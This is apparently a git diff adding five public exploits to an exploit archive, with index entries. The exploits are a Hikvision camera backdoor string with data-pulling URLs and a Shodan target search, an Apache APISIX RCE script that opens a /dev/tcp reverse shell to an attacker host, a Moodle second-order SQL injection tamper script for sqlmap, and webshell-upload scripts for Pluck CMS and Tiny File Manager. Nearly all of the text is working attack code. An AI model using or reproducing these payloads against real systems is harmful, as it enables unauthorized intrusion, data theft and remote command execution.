diff --git a/exploits/hardware/remote/50827.txt b/exploits/hardware/remote/50827.txt new file mode 100644 index 000000000..986f1e0b1 --- /dev/null +++ b/exploits/hardware/remote/50827.txt @@ -0,0 +1,21 @@ +# Exploit Title: Hikvision IP Camera - Backdoor +# Date: 14/03/2022 +# Exploit Author: Sobhan Mahmoodi +# Reference: https://ipvm.com/reports/hik-exploit +# GitHub: https://github.com/bp2008/HikPasswordHelper/ + +Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK) + +# Proof of Concept: + +Retrieve a list of all users and their roles: +- http://camera.ip/Security/users?auth=YWRtaW46MTEK + +Obtain a camera snapshot without authentication: +- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK + +Download camera configuration: +- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK + +Shodan link to monitor : +https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22 \ No newline at end of file diff --git a/exploits/multiple/remote/50829.py b/exploits/multiple/remote/50829.py new file mode 100755 index 000000000..a3629439d --- /dev/null +++ b/exploits/multiple/remote/50829.py @@ -0,0 +1,87 @@ +# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE) +# Date: 2022-03-16 +# Exploit Author: Ven3xy +# Vendor Homepage: https://apisix.apache.org/ +# Version: Apache APISIX 1.3 – 2.12.1 +# Tested on: CentOS 7 +# CVE : CVE-2022-24112 + + +import requests +import sys + +class color: + HEADER = '\033[95m' + IMPORTANT = '\33[35m' + NOTICE = '\033[33m' + OKBLUE = '\033[94m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + RED = '\033[91m' + END = '\033[0m' + UNDERLINE = '\033[4m' + LOGGING = '\33[34m' +color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] + + +def banner(): + run = color_random[6]+'''\n . , + _.._ * __*\./ ___ _ \./._ | _ *-+- + (_][_)|_) |/'\ (/,/'\[_)|(_)| | + | | +\n''' + run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n''' + run3 = color_random[4]+'''{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n''' + print(run+run2+run3) + +if (len(sys.argv) != 4): + banner() + print("[!] Usage : ./apisix-exploit.py ") + exit() + +else: + banner() + target_url = sys.argv[1] + lhost = sys.argv[2] + lport = sys.argv[3] + +headers1 = { + 'Host': '127.0.0.1:8080', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69', + 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', + 'Accept': '*/*', + 'Accept-Encoding': 'gzip, deflate', + 'Content-Type': 'application/json', + 'Content-Length': '540', + 'Connection': 'close', +} + +headers2 = { + 'Host': '127.0.0.1:8080', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69', + 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', + 'Accept': '*/*', + 'Accept-Encoding': 'gzip, deflate', + 'Content-Type': 'application/json', + 'Connection': 'close', +} + +json_data = { + 'headers': { + 'X-Real-IP': '127.0.0.1', + 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', + 'Content-Type': 'application/json', + }, + 'timeout': 1500, + 'pipeline': [ + { + 'path': '/apisix/admin/routes/index', + 'method': 'PUT', + 'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}', + }, + ], +} + +response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False) + +response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False) \ No newline at end of file diff --git a/exploits/php/webapps/50825.py b/exploits/php/webapps/50825.py new file mode 100755 index 000000000..34ea8b399 --- /dev/null +++ b/exploits/php/webapps/50825.py @@ -0,0 +1,488 @@ +# Exploit Title: Moodle 3.11.5 - SQLi (Authenticated) +# Date: 2/3/2022 +# Exploit Author: Chris Anastasio (@mufinnnnnnn) +# Vendor Homepage: https://moodle.com/ +# Software Link: https://github.com/moodle/moodle/archive/refs/tags/v3.11.5.zip +# Write Up: https://muffsec.com/blog/moodle-2nd-order-sqli/ +# Tested on: Moodle 3.11.5+ + +#!/usr/bin/env python + +""" +thanks to: + - +https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/ + - +https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap + - Miroslav Stampar for maintaining this incredible tool + +greetz to: + - @steventseeley + - @fabiusartrel + - @mpeg4codec + - @0x90shell + - @jkbenaim + - jmp + +""" + +import sys +import requests +import re +from pprint import pprint +from collections import OrderedDict +from lib.core.enums import PRIORITY +from lib.core.data import conf +from lib.core.data import kb +from random import sample +__priority__ = PRIORITY.NORMAL + +requests.packages.urllib3.disable_warnings() + +""" +Moodle 2.7dev (Build: 20131129) to 3.11.5+ 2nd Order SQLi Exploit by +muffin (@mufinnnnnnn) + +How to use: + 1. Define the variables at the top of the tamper() function, example: + username = "teacher's-username" + password = "teacher's-password" + app_root = "http://127.0.0.1/moodle" + course_id = 3 + NOTE: the course_id should be a course that your teacher can +create badges on + + 2. Create a file called `req.txt` that looks like the following. Be +sure to update the `Host:` field... + + POST +/moodle/badges/criteria_settings.php?badgeid=badge-id-replace-me&add=1&type=6 +HTTP/1.1 + Host: + Content-Type: application/x-www-form-urlencoded + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) +AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 + Connection: close + +sesskey=sess-key-replace-me&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&field_country=0&agg=2&description%5Btext%5D=&description%5Bformat%5D=1&submitbutton=Save + + 3. Create a file called `req2.txt` that looks like the following. +Again, be sure to update the `Host:` field... + + POST /moodle/badges/action.php HTTP/1.1 + Host: + Content-Type: application/x-www-form-urlencoded + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) +AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 + Connection: close + +id=badge-id-replace-me&activate=1&sesskey=sess-key-replace-me&confirm=1&return=%2Fbadges%2Fcriteria.php%3Fid%3Dbadge_id-replace-me + + 4. Run the following sqlmap command, make sure the tamper argument +is pointing at this file: + + sqlmap -r req.txt --second-req req2.txt +--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' +--drop-set-cookie --answer="login/index.php'. Do you want to +follow?=n,Do you want to process it=y" --test-filter='MySQL >= 5.0.12 +AND time-based blind (query SLEEP)' --current-user --batch --flush + + NOTES: + - for some reason after the first run sqlmap complains that +it cannot fingerprint + the db and will refuse to try enumerating anthing else, +this + is why there is a flush at the end. I'm sure it can be +fixed... + - you can do error based with this command (if errors are +enabled...not likely): + sqlmap -r req.txt --second-req req2.txt +--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' +--level=5 --drop-set-cookie --answer="login/index.php'. Do you want to +follow?=n,Do you want to process it=y" --batch --current-user +--fresh-queries --flush --test-filter='MySQL >= 5.6 AND error-based - +WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' + + +How it works (briefly): + - In order to get our sql query into the database it's necessary to +create a + badge and add some criteria. It is when adding the critera that +the + sql-to-be-executed-2nd-order is inserted into the database. + Finally, when the badge is enabled the injected sql is executed. + - This tamper script does the following: + - log in to the app + - update cookie/sesskey for both the 1st and 2nd requests + - make all the requests necessary to create the badge, right up +until adding the critera + - sqlmap itself adds the criteria with whatever payload it's testing + - sqlmap makes the 2nd call to enable the badge (runs the injected sql) + - next time around the tamper script will delete the badge that it last + created to prevent have 10000s of badges for the course + + +Analysis of the bug: + - see http://muffsec.com/blog/moodle-2nd-order-sqli/ + + +Why?: + 1. It's an interesting bug, 2nd order sqli is more rare (or maybe +just harder to find?) + 2. It's an interesting use of sqlmap. There are some articles +talking about using it for 2nd order sqli + but the use cases outlined are relatively straightforward. +There's a few hacky things being done + with sqlmap in this script which others might want to do some +day i.e. + - using the tamper script to authenticate to the app + - updating the Cookie in sqlmap's httpHeader structure + - updating the CSRF token (sesskey) in the body of both the +1st and 2nd request + 3. I wanted to practice programming/thought it would be fun. Also I +didn't want to reinvent the + wheel with a standalone exploit when sqlmap is just so darn +good at what it does. + + +Thoughts: + - The exploit is not optimized, halfway through writing I realized +there is a badge + duplication feature which would cut the number of requests +generated down significantly. + There's probably many other ways it could be improved as well + - I didn't do much testing...it works on my system... + - I would be surprised if anyone ever put a `Teacher` level sqli to +practical use + - As a bonus, this bug is also usable as a stored xss + - Would be cool if moodle's bug bounty paid more than kudos +""" + +def get_user_session(username, password, app_root): + """ + - logs in to moodle + - returns session object, cookie, and sesskey + """ + + s = requests.Session() + login_page = "{app_root}/login/index.php".format(app_root=app_root) + + # make first GET request to get cookie and logintoken + r = s.get(login_page, verify=False) + + try: + token = re.findall('logintoken" value="(.*?)"', r.text)[0] + except Exception as e: + print("[-] did not find logintoken, is the target correct?") + print(e) + sys.exit(1) + + payload = {'username': username, 'password': password, 'anchor': +'', 'logintoken': token} + + # make second request to actually log in + # also let's us get the sesskey + r = s.post(login_page, data=payload, allow_redirects=False, +verify=False) + + # third request for session test which activates the session + cookie = r.cookies.get_dict() + r = s.get(r.headers['Location'], verify=False) + + sesskey = re.findall('sesskey":"(.*?)"', r.text)[0] + + if (len(cookie) == 0): + sys.exit("[-] Could not establish session! Are credz correct?") + + print("[+] Cookie: {} for user \"{}\"".format(cookie, username)) + print("[+] sesskey: {} for user \"{}\"".format(sesskey, username)) + + return s, cookie, sesskey + +def new_badge1(s, sesskey, app_root, course_id): + """ + - this is the first request that gets generated when "add a new badge" + is clicked. + - it returns the `client_id`, `itemid`, and `ctx_id` which are +needed on subsequent requests + - returns -1 on failure + """ + target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root) + + # badge type is 2 which is a course badge (rather than a site badge) + payload = {'type': 2, 'id': course_id, 'sesskey': sesskey} + + r = s.post(target_url, data=payload, allow_redirects=False, +verify=False) + + try: + client_id = re.findall('"client_id":"(.*?)"', r.text)[0] + except Exception as e: + print("[-] failed to grab client_id in new_badge1()") + print(e) + return -1 + + try: + itemid = re.findall('"itemid":(.*?),"', r.text)[0] + except Exception as e: + print("[-] failed to grab itemid in new_badge1()") + print(e) + return -1 + + try: + ctx_id = re.findall('&ctx_id=(.*?)&', r.text)[0] + except Exception as e: + print("[-] failed to grab ctx_id in new_badge1()") + print(e) + return -1 + + return client_id, itemid, ctx_id + + +def image_signin(s, sesskey, app_root, client_id, itemid, ctx_id): + """ + - sadly, in order to create a badge we have to associate an image + - this request adds an image which is a moodle logo from wikimedia + - returns sourcekey on success + - return -1 on failure + """ + + target_url = +"{app_root}/repository/repository_ajax.php?action=signin".format(app_root=app_root) + + # repo id 6 is for when we are downloading an image + payload = {'file': +'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', + + 'repo_id': '6', 'p': '', 'page': '', 'env': 'filepicker', +'accepted_types[]': '.gif', 'accepted_types[]': '.jpe', + 'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', +'accepted_types[]': '.png', 'sesskey': sesskey, + 'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', +'areamaxbytes': '-1', 'ctx_id': ctx_id} + + r = s.post(target_url, data=payload, allow_redirects=False, +verify=False) + + + try: + sourcekey = re.findall('"sourcekey":"(.*?)","', r.text)[0] + except Exception as e: + print("[-] failed to grab sourcekey in image_signin()") + print(e) + return -1 + + return sourcekey + + +def image_download(s, sesskey, app_root, client_id, itemid, ctx_id, +sourcekey): + """ + - continues the image flow started in image_signin(), here the +actual download happens + - returns image_id on success + - return -1 on failure + """ + + target_url = +"{app_root}/repository/repository_ajax.php?action=download".format(app_root=app_root) + + # repo id 6 is for when we are downloading from an image from a URL + payload = {'repo_id': '6', 'p': '', 'page': '', 'env': +'filepicker', 'accepted_types[]': '.gif', 'accepted_types[]': '.jpe', + 'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', +'accepted_types[]': '.png', 'sesskey': sesskey, + 'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', +'areamaxbytes': '-1', 'ctx_id': ctx_id, + 'title': '512px-Moodle-logo.svg.png', + 'source': +'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', + + 'savepath': '/', 'sourcekey': sourcekey, 'license': 'unknown', +'author': 'moodle-hax'} + + r = s.post(target_url, data=payload, allow_redirects=False, +verify=False) + + try: + image_id = re.findall(',"id":(.*?),"file', r.text)[0] + except Exception as e: + print("[-] failed to grab image_id in image_download()") + print(e) + return -1 + + return image_id + + +def new_badge2(s, sesskey, app_root, course_id, image_id, +name="sqlmap-badge", description="sqlmap-description"): + """ + - finally we are actually creating the badge + """ + target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root) + + # badge type is 2 which is a course badge (rather than a site badge) + payload = {'type': '2', 'id': course_id, 'action': 'new', +'sesskey': sesskey, + '_qf__core_badges_form_badge': '1', +'mform_isexpanded_id_badgedetails': '1', + 'mform_isexpanded_id_issuancedetails': '1', 'name': name, +'version': '', + 'language': 'en', 'description': description, 'image': image_id, + 'imageauthorname': '', 'imageauthoremail': '', +'imageauthorurl': '', + 'imagecaption': '', 'expiry': '0', 'submitbutton': 'Create+badge'} + + r = s.post(target_url, data=payload, allow_redirects=False, +verify=False) + + try: + badge_id = re.findall('badges/criteria.php\?id=(.*?)"', r.text)[0] + except Exception as e: + #print("[-] failed to grab badge_id in new_badge2()") + #print(e) + return -1 + + return badge_id + + +def delete_badge(s, sesskey, app_root, course_id, badge_id): + """ + - delete the badge + """ + target_url = "{app_root}/badges/index.php".format(app_root=app_root) + + # badge type is 2 which is a course badge (rather than a site badge) + payload = {'sort': 'name', 'dir': 'ASC', 'page': '0', 'type': '2', + 'id': course_id, 'delete': badge_id, 'confirm': '1', +'sesskey': sesskey} + + # TODO: add validation logic + r = s.post(target_url, data=payload, allow_redirects=False, +verify=False) + + +def tamper(payload, **kwargs): + + username = "teacher" + password = "password" + app_root = "http://127.0.0.1/moodle" + course_id = 3 + + # check if cookie is set + # cookie should not be set in the request file or this script will fail + # +https://stackoverflow.com/questions/946860/using-pythons-list-index-method-on-a-list-of-tuples-or-objects + try: + cookie_index = [x[0] for x in conf.httpHeaders].index('Cookie') + except ValueError: + # if no cookie is found we run the session initialization routine + s, cookie, sesskey = get_user_session(username, password, app_root) + + # this updates the sqlmap cookie + conf.httpHeaders.append(('Cookie', +'MoodleSession={}'.format(cookie['MoodleSession']))) + + # here we're making our own global variable to hold the sesskey +and session object + conf.sesskey = sesskey + conf.s = s + + # check if a badge_id is set, if so delete it before making the new one + try: + conf.badge_id is None + delete_badge(conf.s, conf.sesskey, app_root, course_id, +conf.badge_id) + except AttributeError: + # we should only hit this on the very first run + # we hit the AttributeError because conf.badge_id doesn't exist yet + pass + + # + ## do all the badge creation flow up the point of adding the criteria + # + client_id, itemid, ctx_id = new_badge1(conf.s, conf.sesskey, +app_root, course_id) + sourcekey = image_signin(conf.s, conf.sesskey, app_root, client_id, +itemid, ctx_id) + image_id = image_download(conf.s, conf.sesskey, app_root, +client_id, itemid, ctx_id, sourcekey) + + # we need to store the badge_id globally + conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root, +course_id, image_id) + + + # - if badge creation failed try deleting the last known badgeid + # - it's most likely failing because a badge already exists with +the same name + # - yes, it's ugly + # - if you control+c and there is a badge with some BS criteria you +will + # only see an error on the badge management page and won't be + # able to delete it through moodle + # - if the trouble badgeid is known it can be deleted to resolve +the issue + if (conf.badge_id == -1): + with open("/tmp/last-known-badge-id", "r") as f: + conf.badge_id = f.read() + delete_badge(conf.s, conf.sesskey, app_root, course_id, +conf.badge_id) + + conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root, +course_id, image_id) + if (conf.badge_id == -1): + sys.exit("[-] ya done fucked up...") + + with open("/tmp/last-known-badge-id", "w") as f: + f.write(conf.badge_id) + + # - update the sesskey and badge_id in the body of the requests + # - it seems necessary to update both the conf.parameters and +conf.paramDict structures + post = +("sesskey={sesskey}&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&" +"mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&" +"field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&" +"field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&" +"field_country=0&agg=2&description[text]=&description[format]=1&submitbutton=Save".format(sesskey=conf.sesskey)) + + get = "badgeid={badge_id}&add=1&type=6".format(badge_id=conf.badge_id) + + conf.parameters = {'(custom) POST': post, + 'GET': get, + 'Host': conf.parameters['Host'], + 'Referer': conf.parameters['Referer'], + 'User-Agent': conf.parameters['User-Agent']} + + conf.paramDict = {'(custom) POST': OrderedDict([('#1*', post)]), + 'GET': OrderedDict([('badgeid', conf.badge_id), + ('add', '1'), + ('type', '6')]), + 'Host': {'Host': conf.parameters['Host']}, + 'Referer': {'Referer': +'{app_root}/badges/criteria_settings.php'.format(app_root=app_root)}, + 'User-Agent': {'User-Agent': 'Mozilla/5.0 (Windows NT +10.0; Win64; x64) AppleWebKit/537.36 ' + '(KHTML, like Gecko) +Chrome/98.0.4758.82 Safari/537.36'}} + + # we need to update values for the second request too + secondReq_url = ("id={badge_id}&activate=1&sesskey={sesskey}&" +"confirm=1&return=/badges/criteria.php?id={badge_id}".format(badge_id=conf.badge_id, + +sesskey=conf.sesskey)) + + kb['secondReq'] = +('{app_root}/badges/action.php'.format(app_root=app_root), 'POST', + secondReq_url, None, + (('Host', app_root.split('/')[2]), + ('Content-Type', 'application/x-www-form-urlencoded'), + ('Cookie', +'MoodleSession={}'.format(conf.s.cookies.get_dict()['MoodleSession'])), +# yes, ugly + ('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) +AppleWebKit/537.36' + ' (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36'))) + + return payload \ No newline at end of file diff --git a/exploits/php/webapps/50826.py b/exploits/php/webapps/50826.py new file mode 100755 index 000000000..03c0ff159 --- /dev/null +++ b/exploits/php/webapps/50826.py @@ -0,0 +1,140 @@ +# Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated) +# Date: 13.03.2022 +# Exploit Author: Ashish Koli (Shikari) +# Vendor Homepage: https://github.com/pluck-cms/pluck +# Version: 4.7.16 +# Tested on Ubuntu 20.04.3 LTS +# CVE: CVE-2022-26965 +# Usage : python3 exploit.py +# Example: python3 exploit.py 127.0.0.1 80 admin /pluck +# Reference: https://github.com/shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC + +''' +Description: +A theme upload functinality in Pluck CMS before 4.7.16 allows an admin +privileged user to gain access in the host through the "themes files", +which may result in remote code execution. +''' + + +''' +Import required modules: +''' +import sys +import requests +import json +import time +import urllib.parse +import struct + +''' +User Input: +''' +target_ip = sys.argv[1] +target_port = sys.argv[2] +password = sys.argv[3] +pluckcmspath = sys.argv[4] + + +''' +Get cookie +''' +session = requests.Session() +link = 'http://' + target_ip + ':' + target_port + pluckcmspath +response = session.get(link) +cookies_session = session.cookies.get_dict() +cookie = json.dumps(cookies_session) +cookie = cookie.replace('"}','') +cookie = cookie.replace('{"', '') +cookie = cookie.replace('"', '') +cookie = cookie.replace(" ", '') +cookie = cookie.replace(":", '=') + + +''' +Authentication: +''' +# Compute Content-Length: +base_content_len = 27 +password_encoded = urllib.parse.quote(password, safe='') +password_encoded_len = len(password_encoded.encode('utf-8')) +content_len = base_content_len + password_encoded_len + +# Construct Header: +header = { + 'Host': target_ip, + 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', + 'Accept-Encoding': 'gzip, deflate', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Content-Length': str(content_len), + 'Origin': 'http://' + target_ip, + 'Connection': 'close', + 'Referer': 'http://' + target_ip + pluckcmspath + '/login.php', + 'Cookie': cookie, + 'Upgrade-Insecure-Requests': '1' +} + +# Construct Data: +body = { + 'cont1': password, + 'bogus': '', + 'submit': 'Log in', +} + +# Authenticating: +link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php' +auth = requests.post(link_auth, headers=header, data=body) +print('') +if 'error' in auth.text: + print('Password incorrect, please try again:') + exit() +else: + print('Authentification was succesfull, uploading webshell') + print('') + + +''' +Upload Webshell: +''' +# Construct Header: +header1 = { + 'Host': target_ip, + 'Cache-Control': 'max-age=0', + 'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="90"', + 'sec-ch-ua-mobile': '?0', + 'Origin': 'http://' + target_ip, + 'Upgrade-Insecure-Requests': '1', + 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'navigate', + 'Sec-Fetch-User': '?1', + 'Sec-Fetch-Dest': 'document', + 'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'en-US,en;q=0.9', + 'Cookie': cookie, + 'Connection': 'close', + +} + + +# loading Webshell payload: +path = 'shell.tar' +fp = open(path,'rb') +data= fp.read() + + +# Uploading Webshell: +link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall' +upload = requests.post(link_upload, headers=header1, data=data) + + +''' +Finish: +''' +print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/data/themes/shell/shell.php') +print('') \ No newline at end of file diff --git a/exploits/php/webapps/50828.sh b/exploits/php/webapps/50828.sh new file mode 100755 index 000000000..be372c697 --- /dev/null +++ b/exploits/php/webapps/50828.sh @@ -0,0 +1,140 @@ +# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE) +# Date: 14/03/2022 +# Exploit Author: FEBIN MON SAJI +# Software Link: https://github.com/prasathmani/tinyfilemanager +# Version: Tiny File Manager <= 2.4.6 +# Tested on: Ubuntu 20.04 +# CVE : CVE-2021-40964 +# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/ + +#!/bin/bash + +check(){ + +which curl +if [ $? = 0 ] +then +printf "[✔] Curl found! \n" +else +printf "[❌] Curl not found! \n" +exit +fi + +which jq +if [ $? = 0 ] +then +printf "[✔] jq found! \n" +else +printf "[❌] jq not found! \n" +exit +fi +} +usage(){ + +printf " +TIny File Manager Authenticated RCE Exploit. + +By FEBIN + +$0 + +Example: $0 http://files.ubuntu.local/index.php admin \"admin@123\" + +" +} + +log-in(){ +URL=$1 +admin=$2 +pass=$3 +cookie=$(curl "$URL" -X POST -s -d "fm_usr=$admin&fm_pwd=$pass" -i | grep "Set-Cookie: " | sed s/"Set-Cookie: "//g | tr -d " " | tr ";" "\n" | head -1) + +if [ $cookie ] +then +printf "\n[+] Login Success! Cookie: $cookie \n" +else +printf "\n[-] Logn Failed! \n" +fi + +URL=${URL} +} + +find_webroot(){ + + +webroot=$(curl -X POST "$URL?p=&upload" -d "type=upload&uploadurl=http://vyvyuytcuytcuycuytuy/&ajax=true" -H "Cookie: $cookie" -s | jq | grep file | tr -d '"' | tr -d "," | tr -d " " | sed s/"file:"//g | tr "/" "\n" | head --lines=-1 | tr "\n" "/" ) + + +if [ $webroot ] +then +printf "\n[*] Try to Leak Web root directory path \n\n" +printf "[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : $webroot \n\n" +else +printf "[-] Can't find WEBROOT! Using default /var/www/html \n" +webroot="/var/www/html" +fi +} + +upload(){ + +#webroot="/var/www/tiny/" +shell="shell$RANDOM.php" +echo "" > /tmp/$shell + + + +curl $URL?p= -X POST -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" -b $cookie -F "p=" -F "fullpath=../../../../../../../..${webroot}/${shell}" -F "file=@/tmp/$shell" | grep "successful" + + +} + +exploit(){ + +WEB_URL=$(printf "$URL" | tr "/" "\n" | head --lines=-1 | tr "\n" "/") + +upload + + +if [ $? = 0 ] +then +printf "[+] File Upload Successful! \n" +else +printf "[-] File Upload Unsuccessful! Exiting! \n" +exit 1 +fi + + +printf "[+] Checking for the shell \n" + + +curl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep "found" >/dev/null +if [ $? = 0 ] +then +printf "[+] Shell found ${WEB_URL}/$shell \n" +else +printf "[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \n" +exit 2 +fi + +printf "[+] Getting shell access! \n\n" + +while true +do +printf "$> " +read cmd +curl ${WEB_URL}/$shell -s -X POST -d "cmd=${cmd}" +done +} + +if [ $1 ] && [ $2 ] && [ $3 ] +then +check +log-in $1 $2 $3 + +find_webroot + + +exploit +else +usage +fi \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index ec0ae086c..807d7699c 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -18649,6 +18649,8 @@ id,file,description,date,author,type,platform,port 50798,exploits/windows/remote/50798.cs,"Printix Client 1.3.1106.0 - Remote Code Execution (RCE)",1970-01-01,"Logan Latvala",remote,windows, 50821,exploits/hardware/remote/50821.py,"Seowon SLR-120 Router - Remote Code Execution (Unauthenticated)",1970-01-01,"Aryan Chehreghani",remote,hardware, 50822,exploits/multiple/remote/50822.txt,"Tdarr 2.00.15 - Command Injection",1970-01-01,"Sam Smith",remote,multiple, +50827,exploits/hardware/remote/50827.txt,"Hikvision IP Camera - Backdoor",1970-01-01,"Sobhan Mahmoodi",remote,hardware, +50829,exploits/multiple/remote/50829.py,"Apache APISIX 2.12.1 - Remote Code Execution (RCE)",1970-01-01,Ven3xy,remote,multiple, 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php, @@ -44893,3 +44895,6 @@ id,file,description,date,author,type,platform,port 50809,exploits/linux/webapps/50809.py,"Webmin 1.984 - Remote Code Execution (Authenticated)",1970-01-01,faisalfs10x,webapps,linux, 50816,exploits/php/webapps/50816.py,"Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Hussien Misbah",webapps,php, 50823,exploits/multiple/webapps/50823.txt,"Baixar GLPI Project 9.4.6 - SQLi",1970-01-01,"Prof. Joas Antonio",webapps,multiple, +50825,exploits/php/webapps/50825.py,"Moodle 3.11.5 - SQLi (Authenticated)",1970-01-01,"Chris Anastasio",webapps,php, +50826,exploits/php/webapps/50826.py,"Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Ashish Koli",webapps,php, +50828,exploits/php/webapps/50828.sh,"Tiny File Manager 2.4.6 - Remote Code Execution (RCE)",1970-01-01,"FEBIN MON SAJI",webapps,php,